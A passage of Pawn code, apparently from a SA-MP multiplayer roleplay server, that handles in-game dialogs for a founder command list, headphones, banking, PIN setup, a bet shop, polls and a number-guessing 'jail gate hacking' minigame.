			ShowPlayerDialog(playerid, 1507, DIALOG_STYLE_MSGBOX, "CM Founder:","/Setlevel /BoxForAll /Dick /DeleteUsers /BoosBede /SuckBezan /SuckNazan /Login /DemoteStaffs /DemoteAllAdmins /DemoteAllHelpers /DemoteAllLeaders /DemoteStaffs /LockCMD\n/UnBanAll /ResetAccount /MakeClanLeader /Cnn /GiveHLic /GiveHosterLic /PKey /PPin /MoneyForAll /LevelForAll /GoldForAll /RespectForAll\n/Restart /StopRestart /Payday","Close","");
			return 1;
			}
		}
	}
	/*
	if(dialogid == 32701) {
	if(response) {
	EnableBoast[playerid] = 0;
	SCM(playerid, COLOR_YELLOW, "Speed Booster: {FF0000}Disabled");
	}
	return 1;
	}
	if(dialogid == 32702) {
	if(response) {
	EnableBoast[playerid] = 1;
	SCM(playerid, COLOR_YELLOW, "Speed Booster: {00FF00}Enabled");
	}
	return 1;
	}
	if(dialogid == 32703) {
	if(response) {
	EnableBrake[playerid] = 0;
	SCM(playerid, COLOR_YELLOW, "Brake Booster: {FF0000}Disabled");
	}
	return 1;
	}
	if(dialogid == 32704) {
	if(response) {
	EnableBrake[playerid] = 1;
	SCM(playerid, COLOR_YELLOW, "Brake Booster: {00FF00}Enabled");
	}
	return 1;
	}
	*/
	/*
	if(dialogid == 32700) {
	if(response) {
	if(listitem == 0) {
	if(EnableBoast[playerid] == 1) {
	ShowPlayerDialog(playerid, 32701, DIALOG_STYLE_MSGBOX, "Speed Booster", "{FFFFFF}Are you sure to {FF0000}off {FFFFFF}speed booster system?", "Accept", "Close");
	}
	else {
	//if(PlayerInfo[playerid][pPremiumAccount] != 2) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't premium account level 2.");
	ShowPlayerDialog(playerid, 32702, DIALOG_STYLE_MSGBOX, "Speed Booster", "{FFFFFF}Are you sure to {00FF00}on{FFFFFF} speed booster system?", "Accept", "Close");
	}
	}
	if(listitem == 1) {

	if(EnableBrake[playerid] == 1) {
	ShowPlayerDialog(playerid, 32703, DIALOG_STYLE_MSGBOX, "Brake Booster", "{FFFFFF}Are you sure to {FF0000}off{FFFFFF} brake booster system?", "Accept", "Close");
	}
	else {
	//if(PlayerInfo[playerid][pPremiumAccount] != 2) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't premium account level 2.");
	ShowPlayerDialog(playerid, 32704, DIALOG_STYLE_MSGBOX, "Brake Booster", "{FFFFFF}Are you sure to {00FF00}on{FFFFFF} brake booster system?", "Accept", "Close");
	}

	}
	}
	return 1;
	}
	*/
	if(dialogid == 3204) {
	if(response) {
	if(listitem == 0) {
	HeadphoneData[playerid][Color][0] = 255;
	HeadphoneData[playerid][Color][1] = 0;
	HeadphoneData[playerid][Color][2] = 0;
	HeadphoneData[playerid][HasHeadphones] = true;
	SetPlayerAttachedObject(playerid, 3, 19421, 2,0.059999,0.015000,-0.003000,88.500015,-10.800016,-84.800056,1,1,1, RGBAToARGB(GetColor(playerid)));
	}
	if(listitem == 1) {
	HeadphoneData[playerid][Color][0] = 0;
	HeadphoneData[playerid][Color][1] = 255;
	HeadphoneData[playerid][Color][2] = 0;
	HeadphoneData[playerid][HasHeadphones] = true;
	SetPlayerAttachedObject(playerid, 3, 19421, 2,0.059999,0.015000,-0.003000,88.500015,-10.800016,-84.800056,1,1,1, RGBAToARGB(GetColor(playerid)));
	}
	if(listitem == 2) {
	HeadphoneData[playerid][Color][0] = 0;
	HeadphoneData[playerid][Color][1] = 0;
	HeadphoneData[playerid][Color][2] = 255;
	HeadphoneData[playerid][HasHeadphones] = true;
	SetPlayerAttachedObject(playerid, 3, 19421, 2,0.059999,0.015000,-0.003000,88.500015,-10.800016,-84.800056,1,1,1, RGBAToARGB(GetColor(playerid)));
	}
	if(listitem == 3) {
	HeadphoneData[playerid][Color][0] = 255;
	HeadphoneData[playerid][Color][1] = 255;
	HeadphoneData[playerid][Color][2] = 255;
	HeadphoneData[playerid][HasHeadphones] = true;
	SetPlayerAttachedObject(playerid, 3, 19421, 2,0.059999,0.015000,-0.003000,88.500015,-10.800016,-84.800056,1,1,1, RGBAToARGB(GetColor(playerid)));
	}
	if(listitem == 4) {
	HeadphoneData[playerid][Color][0] = 255;
	HeadphoneData[playerid][Color][1] = 0;
	HeadphoneData[playerid][Color][2] = 255;
	HeadphoneData[playerid][HasHeadphones] = true;
	SetPlayerAttachedObject(playerid, 3, 19421, 2,0.059999,0.015000,-0.003000,88.500015,-10.800016,-84.800056,1,1,1, RGBAToARGB(GetColor(playerid)));
	}
	if(listitem == 5) {
	HeadphoneData[playerid][Color][0] = 255;
	HeadphoneData[playerid][Color][1] = 255;
	HeadphoneData[playerid][Color][2] = 0;
	HeadphoneData[playerid][HasHeadphones] = true;
	SetPlayerAttachedObject(playerid, 3, 19421, 2,0.059999,0.015000,-0.003000,88.500015,-10.800016,-84.800056,1,1,1, RGBAToARGB(GetColor(playerid)));
	}
	if(listitem == 6) {
	HeadphoneData[playerid][Color][0] = 0;
	HeadphoneData[playerid][Color][1] = 0;
	HeadphoneData[playerid][Color][2] = 0;
	HeadphoneData[playerid][HasHeadphones] = true;
	SetPlayerAttachedObject(playerid, 3, 19421, 2,0.059999,0.015000,-0.003000,88.500015,-10.800016,-84.800056,1,1,1, RGBAToARGB(GetColor(playerid)));
	}
	SCM(playerid, COLOR_YELLOW, "You pot a headphone on your ears.");
	return 1;
	}
	else {return 1;}

	}
	if(dialogid == 3203) {
	if(response) {
	if(listitem == 0) {
	if(HeadphoneData[playerid][HasHeadphones] == true) return SCM(playerid, COLOR_YELLOW2, "Error: you already pot a headphone on your ears.");
	new buylor[1024];
	format(buylor, sizeof(buylor), "Red \nGreen \nBlue \nWhite \nPink \nYellow \nBlack");
	ShowPlayerDialog(playerid,3204,DIALOG_STYLE_LIST,"Choose a color:",buylor,"Select","Cancel");
	}
	if(listitem == 1) {
	if(HeadphoneData[playerid][HasHeadphones] != true) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't headphone on your ears.");
	RemovePlayerAttachedObject(playerid, 3);
	StopAudioStreamForPlayer(playerid);
	HeadphoneData[playerid][Sound] = false;
	HeadphoneData[playerid][HasHeadphones] = false;
	SCM(playerid, COLOR_YELLOW, "You pickedup your headphone from your ears.");
	}
	if(listitem == 2) {
	if(HeadphoneData[playerid][HasHeadphones] != true) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't headphone on your ears.");
	//if(HeadphoneData[playerid][Sound] == true) return SCM(playerid, COLOR_YELLOW2, "Error: you already have sound on your ears.");
	//ShowPlayerDialog(playerid,6544,DIALOG_STYLE_LIST,"Radio List:","Radio \t\nInsert URL","Select","Cancel");
	new buyabler[1024];
	format(buyabler,sizeof(buyabler),"Radio \t\nInsert URL \t\nOFF Radio");
	ShowPlayerDialog(playerid,6544,DIALOG_STYLE_LIST,"Radio List:",buyabler,"Select","Cancel");
	}
	if(listitem == 3) {
	if(HeadphoneData[playerid][HasHeadphones] != true || HeadphoneData[playerid][Sound] != true) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't headphone or sound on your ears.");
	StopAudioStreamForPlayer(playerid);
	HeadphoneData[playerid][Sound] = false;
	SCM(playerid, COLOR_YELLOW, "You paused sound of headphone.");
	}
	return 1;
	}
	else {return 1;}
	}
	if(dialogid == 8768)
	{
	new formater[144],adad=strval(inputtext);
	if(!response) { CloseBankControlPanel(playerid); return 1;}
	if(response)
	{
	if(adad > PINFO[playerid][pAccount]) {CloseBankControlPanel(playerid); Error(playerid, "Error: You don't have that much money in your bank account.") return 1; }
	if(adad <= 0) {CloseBankControlPanel(playerid); Error(playerid, "Error: Enter amount more than 0.") return 1;}
    PlayerInfo[playerid][pAccount] -= adad;
	SaveKonVal(playerid, "pAccount", PINFO[playerid][pAccount]);
	GivePlayerPool(playerid, adad);
	CloseBankControlPanel(playerid);
	format(formater, sizeof(formater), "You withdrawn {FFFFFF}$%s {b8ffdb}from your bank account.", FormatNumber(adad));
	SCM(playerid, COLOR_Good, formater);
	}
	return 1;
	}
	
	
	
	if(dialogid == 8769)
	{
	new formater[144],adad=strval(inputtext);
	if(!response) { CloseBankControlPanel(playerid); return 1;}
	if(response)
	{
	if(adad > GetPlayerPool(playerid)) {CloseBankControlPanel(playerid); Error(playerid, "Error: You don't have that much cash.") return 1; }
	if(adad <= 0) {CloseBankControlPanel(playerid); Error(playerid, "Error: Enter amount more than 0.") return 1;}
    PlayerInfo[playerid][pAccount] += adad;
	SaveKonVal(playerid, "pAccount", PINFO[playerid][pAccount]);
	GivePlayerPool(playerid, -adad);
	CloseBankControlPanel(playerid);
	format(formater, sizeof(formater), "You deposited {FFFFFF}$%s {b8ffdb}to your bank account.", FormatNumber(adad));
	SCM(playerid, COLOR_Good, formater);
	}
	return 1;
	}
	
	
	
	if(dialogid == 9374)
	{
	new formater[144];
	if(!response) { CloseBankControlPanel(playerid); return 1;}
	if(response)
	{
	new fffm[70];
	format(fffm, sizeof(fffm), "%s Bank", SERVER_NAME1);
	if(listitem == 0)// Balance
	{
	format(formater, sizeof(formater), "Your balance in your bank account is:{FFFFFF} $%s", FormatNumber(PINFO[playerid][pAccount]));
	SCM(playerid, COLOR_Good, formater);
	CloseBankControlPanel(playerid);
	}
	if(listitem == 1)// Withdraw
	{
	if(GetPlayerPool(playerid) >= 900000000) {CloseBankControlPanel(playerid); Error(playerid, "Error: You can't withdraw any amount of money from your bank account.") return 1;}
	if(PINFO[playerid][pLevel] < 3) { CloseBankControlPanel(playerid); Error(playerid, "Error: Your level must be higher than 3.") return 1;}
	ShowPlayerDialog(playerid,8768,DIALOG_STYLE_INPUT,fffm,"Enter the amount of money that you want to withdraw.","Done","Close");
    if(BankIdleTimer[playerid]!=0){KillTimer(BankIdleTimer[playerid]); BankIdleTimer[playerid] = 0;}
    if(PINFO[playerid][pNCard]==0) { CloseBankControlPanel(playerid); Error(playerid, "Error: You must have national card to continue.") return 1;}
    BankIdleTimer[playerid] = SetTimerEx("BankIdleTimerX", 10000, false, "i", playerid);
	}
	if(listitem == 2)// Deposit
	{
	if(PINFO[playerid][pAccount] >= 900000000) {CloseBankControlPanel(playerid); Error(playerid, "Error: You can't deposit any amount of money in your bank account.") return 1;}
	if(PINFO[playerid][pLevel] < 3) { CloseBankControlPanel(playerid); Error(playerid, "Error: Your level must be higher than 3.") return 1;}
	ShowPlayerDialog(playerid,8769,DIALOG_STYLE_INPUT,fffm,"Enter the amount of money that you want to deposit.","Done","Close");
    if(BankIdleTimer[playerid]!=0){KillTimer(BankIdleTimer[playerid]); BankIdleTimer[playerid] = 0;}
    if(PINFO[playerid][pNCard]==0) { CloseBankControlPanel(playerid); Error(playerid, "Error: You must have national card to continue.") return 1;}
    BankIdleTimer[playerid] = SetTimerEx("BankIdleTimerX", 10000, false, "i", playerid);
	}
	if(listitem == 3)// Transfer
	{
	SCM(playerid, COL_SYN, "Syntax: /transfer <Playerid/PartOfName> <Amount>");
	CloseBankControlPanel(playerid);
	}
	
	}
	return 1;
	}
	if(dialogid == 6038)
	{
	if(response)
	{
				PlayerInfo[playerid][pPin1] = PIN1Zadam[playerid];
				SaveKonVal(playerid, "pPin1", PIN1Zadam[playerid]);
				PlayerInfo[playerid][pPin2] = PIN2Zadam[playerid];
				SaveKonVal(playerid, "pPin2", PIN2Zadam[playerid]);
				PlayerInfo[playerid][pPin3] = PIN3Zadam[playerid];
				SaveKonVal(playerid, "pPin3", PIN3Zadam[playerid]);
				PlayerInfo[playerid][pPin4] = PIN4Zadam[playerid];
				SaveKonVal(playerid, "pPin4", PIN4Zadam[playerid]);
				PlayerInfo[playerid][pPinned] = 1;
				SaveKonVal(playerid, "pPinned", 1);
				PlayerInfo[playerid][pAutoPIN] = 0;
				SaveKonVal(playerid, "pAutoPIN", 0);
				LockAcc[playerid] = 0;
	CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
PIN1ZadamNew[playerid] = 9999;
PIN2ZadamNew[playerid] = 9999;
PIN3ZadamNew[playerid] = 9999;
PIN4ZadamNew[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
new Milll[50];
format(Milll, 50, "Your new pin code is: {ffffff}%d%d%d%d",PINFO[playerid][pPin1], PINFO[playerid][pPin2], PINFO[playerid][pPin3], PINFO[playerid][pPin4]);
SendMessage(playerid, COLOR_Good, Milll);
GameTextForPlayer(playerid, "~W~Pin Code ~G~Changed", 3000, 3);
		new VaZsas[144];
		new sXtxt[20];
		if(PINFO[playerid][pSex] == 1) sXtxt = "his";
		if(PINFO[playerid][pSex] == 2) sXtxt = "her";
	  format(VaZsas, sizeof(VaZsas), "{ffffff}Player %s(%i) has changed %s pincode",RPName(playerid), playerid, sXtxt);
      AdminWarn(VaZsas);
	}
	if(!response)
	{
	CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
PIN1ZadamNew[playerid] = 9999;
PIN2ZadamNew[playerid] = 9999;
PIN3ZadamNew[playerid] = 9999;
PIN4ZadamNew[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
	}
	return 1;
	}
	
	
	
	
	
	
	if(dialogid == 6039)
	{
	if(response)
	{
				PlayerInfo[playerid][pPin1] = PIN1Zadam[playerid];
				SaveKonVal(playerid, "pPin1", PIN1Zadam[playerid]);
				PlayerInfo[playerid][pPin2] = PIN2Zadam[playerid];
				SaveKonVal(playerid, "pPin2", PIN2Zadam[playerid]);
				PlayerInfo[playerid][pPin3] = PIN3Zadam[playerid];
				SaveKonVal(playerid, "pPin3", PIN3Zadam[playerid]);
				PlayerInfo[playerid][pPin4] = PIN4Zadam[playerid];
				SaveKonVal(playerid, "pPin4", PIN4Zadam[playerid]);
				PlayerInfo[playerid][pPinned] = 1;
				SaveKonVal(playerid, "pPinned", 1);
				LockAcc[playerid] = 0;
	CancelSelectTextDraw(playerid);
PIN1Zadam[playerid] = 9999;
PIN2Zadam[playerid] = 9999;
PIN3Zadam[playerid] = 9999;
PIN4Zadam[playerid] = 9999;
MitooneCancelKone[playerid] = 0;
ChandAdadZadam[playerid] = 0;
Pinning[playerid] = 9999;
PlayerTextDrawHide(playerid, PINBox1[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox2[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox3[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox4[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, PINBox5[playerid]);// Boxe PIN
PlayerTextDrawHide(playerid, Succ[playerid]);// Pin ro mizane
PlayerTextDrawHide(playerid, Unsucc[playerid]);// Pin ro bar migardoone
PlayerTextDrawHide(playerid, Dayere1z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere2z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere3z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere4z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere5z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere6z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere7z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere8z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere9z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, Dayere0z[playerid]);// Dayere ke toosh adade
PlayerTextDrawHide(playerid, PINNum1[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum2[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum3[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum4[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum5[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum6[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum7[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum8[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum9[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, PINNum0[playerid]);// Adade ke too dayere has
PlayerTextDrawHide(playerid, EnterCode[playerid]);// Jayi ke code neveshte mishe
new Milll[50];
format(Milll, 50, "Your new pin code is: {ffffff}%d%d%d%d",PINFO[playerid][pPin1], PINFO[playerid][pPin2], PINFO[playerid][pPin3], PINFO[playerid][pPin4]);
SendMessage(playerid, COLOR_Good, Milll);
GameTextForPlayer(playerid, "~W~Pin Code ~G~Added", 3000, 3);
	}
	if(!response)
	{
	SelectTextDraw(playerid, 0x00FF00FF);
	}
	return 1;
	}
	if(dialogid == 1074) {
	if(response) {
	if(listitem == 0) {
	// Money
	ShowPlayerDialog(playerid,1072,DIALOG_STYLE_INPUT,"{ff0000}BET ON MONEY","Insert your money price that you want to bet\n{ff0000}** Your price must be fewer than 10,000,000 and more than 200,000.","Done","Back");
	}
	if(listitem == 1) {
	// Gold
	ShowPlayerDialog(playerid, 1096, DIALOG_STYLE_MSGBOX, "{ff0000}BET ON GOLD", "This section is on maintenance.", "Done", "Back");
	}
	}
	return 1;
	}
		if(dialogid == 1096)
	{
		  if(!response)
		  {
		   ShowPlayerDialog(playerid,1074,DIALOG_STYLE_LIST,"{ff0000}BETSHOP","{00FF78}Money \t\n{FFFA00}Gold","Select","Cancel");
		  }
ShowPlayerDialog(playerid,1074,DIALOG_STYLE_LIST,"{ff0000}BETSHOP","{00FF78}Money \t\n{FFFA00}Gold","Select","Cancel");
	return 1;
	}
	
	
	
	
	
		if(dialogid == 3641)
	{
		  if(!response)
		  {
		   MikhadPollPublic[playerid] = 0;
		   MikhadPollPrivate[playerid] = 0;
		   DoingPoll = 0;
		  }
	      new length = strlen(inputtext);
	      if(length < 3 || length > 100)
	      {
		  if(MikhadPollPrivate[playerid] == 1)
		  {
		  ShowPlayerDialog(playerid,3641,DIALOG_STYLE_INPUT,"Private Poll","{ff0000}Invalid title entered.\n\n{A9C4E4}Enter the title of private poll below:\n","Next","Close");
		  }
		  if(MikhadPollPublic[playerid] == 1)
		  {
		  ShowPlayerDialog(playerid,3641,DIALOG_STYLE_INPUT,"Public Poll","{ff0000}Invalid title entered.\n\n{A9C4E4}Enter the title of public poll below:\n","Next","Close");
		  }
		  return 1;
		  }
		  strcpy(PollTitle,inputtext,101);
		  if(MikhadPollPrivate[playerid] == 1)
		  {
          ShowPlayerDialog(playerid,3642,DIALOG_STYLE_INPUT,"Private Poll","Enter the option 1:\n","Next","Back");
          }
          if(MikhadPollPublic[playerid] == 1)
          {
          ShowPlayerDialog(playerid,3642,DIALOG_STYLE_INPUT,"Public Poll","Enter the option 1:\n","Next","Back");
		  }
	return 1;
	}
	
		if(dialogid == 3642)
	{
		  if(!response)
		  {
			if(MikhadPollPrivate[playerid] == 1)
			{
           ShowPlayerDialog(playerid,3641,DIALOG_STYLE_INPUT,"Private Poll","Enter the title of private poll below:\n","Next","Close");
            }
            if(MikhadPollPublic[playerid] == 1)
            {
            ShowPlayerDialog(playerid,3641,DIALOG_STYLE_INPUT,"Public Poll","Enter the title of public poll below:\n","Next","Close");
			}
		  }
	      new length = strlen(inputtext);
	      if(length == 0 || length > 10)
	      {
		  if(MikhadPollPrivate[playerid] == 1)
		  {
		  ShowPlayerDialog(playerid,3642,DIALOG_STYLE_INPUT,"Private Poll","{ff0000}Invalid option entered\n\n{A9C4E4}Enter the option 1:\n","Next","Back");
		  }
		  if(MikhadPollPublic[playerid] == 1)
		  {
		  ShowPlayerDialog(playerid,3642,DIALOG_STYLE_INPUT,"Public Poll","{ff0000}Invalid option entered\n\n{A9C4E4}Enter the option 1:\n","Next","Back");
		  }
		  return 1;
		  }
		  strcpy(PollOp1,inputtext,11);
		  if(MikhadPollPrivate[playerid] == 1)
		  {
          ShowPlayerDialog(playerid,3643,DIALOG_STYLE_INPUT,"Private Poll","Enter the option 2:\n","Next","Back");
          }
          if(MikhadPollPublic[playerid] == 1)
          {
          ShowPlayerDialog(playerid,3643,DIALOG_STYLE_INPUT,"Public Poll","Enter the option 2:\n","Next","Back");
		  }
	return 1;
	}
	
	
			if(dialogid == 3643)
	{
		  if(!response)
		  {
			if(MikhadPollPrivate[playerid] == 1)
			{
           ShowPlayerDialog(playerid,3642,DIALOG_STYLE_INPUT,"Public Poll","Enter the option 1:\n","Next","Back");
            }
            if(MikhadPollPublic[playerid] == 1)
            {
            ShowPlayerDialog(playerid,3642,DIALOG_STYLE_INPUT,"Public Poll","Enter the option 1:\n","Next","Back");
			}
		  }
	      new length = strlen(inputtext);
	      if(length == 0 || length > 10)
	      {
		  if(MikhadPollPrivate[playerid] == 1)
		  {
		  ShowPlayerDialog(playerid,3643,DIALOG_STYLE_INPUT,"Private Poll","{ff0000}Invalid option entered\n\n{A9C4E4}Enter the option 2:\n","Next","Back");
		  }
		  if(MikhadPollPublic[playerid] == 1)
		  {
		  ShowPlayerDialog(playerid,3643,DIALOG_STYLE_INPUT,"Public Poll","{ff0000}Invalid option entered\n\n{A9C4E4}Enter the option 2:\n","Next","Back");
		  }
		  return 1;
		  }
		  if(!strcmp(PollOp1,inputtext))
		  {
		  if(MikhadPollPrivate[playerid] == 1)
		  {
		  ShowPlayerDialog(playerid,3643,DIALOG_STYLE_INPUT,"Private Poll","{ff0000}Option 2 cannot be same with option 1\n\n{A9C4E4}Enter the option 2:\n","Next","Back");
		  }
		  if(MikhadPollPublic[playerid] == 1)
		  {
		  ShowPlayerDialog(playerid,3643,DIALOG_STYLE_INPUT,"Public Poll","{ff0000}Option 2 cannot be same with option 1\n\n{A9C4E4}Enter the option 2:\n","Next","Back");
		  }
		  return 1;
		  }
		  strcpy(PollOp2,inputtext,11);
		  new stringxa[200];
		  if(MikhadPollPrivate[playerid] == 1)
		  {
          format(stringxa, sizeof(stringxa), "Are these correct?\n\nPoll Type: Private\nPoll Title: %s\nPoll Option 1: %s\nPoll Option 2: %s", PollTitle, PollOp1, PollOp2);
          ShowPlayerDialog(playerid, 3644, DIALOG_STYLE_MSGBOX, "Private Poll", stringxa, "Yes", "No");
          }
          if(MikhadPollPublic[playerid] == 1)
          {
          format(stringxa, sizeof(stringxa), "Are these correct?\n\nPoll Type: Public\nPoll Title: %s\nPoll Option 1: %s\nPoll Option 2: %s", PollTitle, PollOp1, PollOp2);
          ShowPlayerDialog(playerid, 3644, DIALOG_STYLE_MSGBOX, "Public Poll", stringxa, "Yes", "No");
		  }
	return 1;
	}
	
	
	if(dialogid == 3644) {
	if(response) {
	
	if(MikhadPollPublic[playerid] == 1)
	{
	PollType = 1;
	MikhadPollPublic[playerid] = 0;
	}
	if(MikhadPollPrivate[playerid] == 1)
	{
	PollType = 2;
	MikhadPollPrivate[playerid] = 0;
	}
	SCM(playerid, COLOR_SINARANG, "The poll created. Now you can publish it.");
    MikhadPollPublic[playerid] = 0;
    MikhadPollPrivate[playerid] = 0;
    DoingPoll = 0;
    BayadPublish[playerid] = 1;
    OnGoingPoll = 1;
	
	}
	else {
    MikhadPollPublic[playerid] = 0;
    MikhadPollPrivate[playerid] = 0;
    DoingPoll = 0;
	}
	return 1;
	}
	if(dialogid == 6591)
	{
		  if(!response)
		  {
		   HackingNumberMin[playerid] = 0;
		   HackingNumberMax[playerid] = 0;
		   HackingNumber[playerid] = 0;
	if(HackedGatesTimer[playerid]){KillTimer(HackedGatesTimer[playerid]);HackedGatesTimer[playerid]=0;}
	if(FindCheckHack[playerid]){KillTimer(FindCheckHack[playerid]);FindCheckHack[playerid]=0;}
	if(TimerToHackGates[playerid]){KillTimer(TimerToHackGates[playerid]);TimerToHackGates[playerid]=0;}
	if(FindHackerTimer[playerid]){KillTimer(FindHackerTimer[playerid]);FindHackerTimer[playerid]=0;}
	if(GateHackDelay[playerid]){KillTimer(GateHackDelay[playerid]);GateHackDelay[playerid]=0;}
		   return 1;
		  }
		  new title[50];
		  new mainz[300];
		  if(strval(inputtext) < HackingNumber[playerid])
		  {
          format(mainz,sizeof(mainz),"Hacking jail gates...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}\n{00ff00}ENTER A HIGHER NUMBER!", HackingNumberMin[playerid], HackingNumberMax[playerid]);
          format(title, sizeof(title), "Hacking Gates");
          ShowPlayerDialog(playerid,6591,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
		  return 1;
		  }
		  if(strval(inputtext) > HackingNumber[playerid])
		  {
          format(mainz,sizeof(mainz),"Hacking jail gates...\nEnter a number between {ff0000}%d{A9C4E4}-{ff0000}%d{A9C4E4}\n{ff0000}ENTER A LOWER NUMBER!", HackingNumberMin[playerid], HackingNumberMax[playerid]);
          format(title, sizeof(title), "Hacking Gates");
          ShowPlayerDialog(playerid,6591,DIALOG_STYLE_INPUT,title,mainz,"Try","Close");
		  return 1;
		  }
		  HackingNumberMin[playerid] = 0;
		  HackingNumberMax[playerid] = 0;
		  HackingNumber[playerid] = 0;
		  ImHackedGates[playerid] = 1;
